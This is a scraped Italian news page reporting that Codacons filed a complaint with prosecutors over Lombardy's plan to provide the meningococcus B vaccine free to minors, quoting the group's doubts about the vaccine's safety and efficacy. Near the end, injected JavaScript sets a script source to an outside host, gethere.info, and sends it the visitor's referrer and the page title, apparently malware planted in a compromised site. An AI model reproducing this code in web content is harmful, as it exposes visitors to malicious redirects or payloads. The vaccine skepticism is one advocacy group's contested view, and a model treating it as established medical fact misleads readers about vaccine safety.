"/>
sabato 19 agosto 2017 07:42:26
omnimilano

VACCINI, CODACONS: ESPOSTO IN PROCURA SU ANTI MENINGOCOCCO-B

9 novembre 2016 Cronaca

“Perchè questa fretta? Che sicurezze hanno le famiglie? E che spiegazioni vengono date loro? E perchè acquistare con il denaro pubblico un vaccino che dovrebbe (visto che non è ancora stato dimostrato) prevenire una malattia rara? Come si sa le meningiti sono provocate da diversi batteri e virus e da diversi ceppi di questi. Il vaccino è per il ceppo B del batterio meningococco”. Così il Codacons sull'atto d'indirizzo alla Giunta con cui il Consiglio regionale, ieri, ha chiesto di garantire la gratuità del vaccino anti meningococco-B ai minori i cui genitori ne facciano richiesta in attesa che entrino in vigore i nuovi Livelli Essenziali di Assistenza. Il Codacons, spiega con una nota, “non ci vede chiaro sul delicato tema delle vaccinazioni e presenta esposto in Procura allegando studio del'Istituto Superiore di Sanità”.
“In Europa nessuno tranne Gran Bretagna considera il vaccino approvato dal Piano Vaccinale della Regione Lombardia – prosegue l'associazione -. Molte sono le perplessità da parte degli esperti, fra questi l’Istituto Superiore di Sanità: criticità che vanno dalla sicurezza all’efficacia clinica. “Non sono disponibili dati sufficienti sulla frequenza di reazioni avverse” si legge a pag 29 e, poche righe più sotto, si dice che “la protezione data dalla presenza degli anticorpi è certa fino a 3 anni”. Nonostante ciò quel vaccino è pronto per i nostri figli, compare nel nuovo e costoso piano vaccinale 2016-18, che ancora non è stato approvato.Lo si trova in commercio con il simbolo del triangolo nero rovesciato stampato sulla scatola, il che significa “soggetto a monitoraggio addizionale” (ma chi la vede, la scatola del vaccino, quando porta il figlio a fare la vaccinazione?)”

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Condividi questo articolo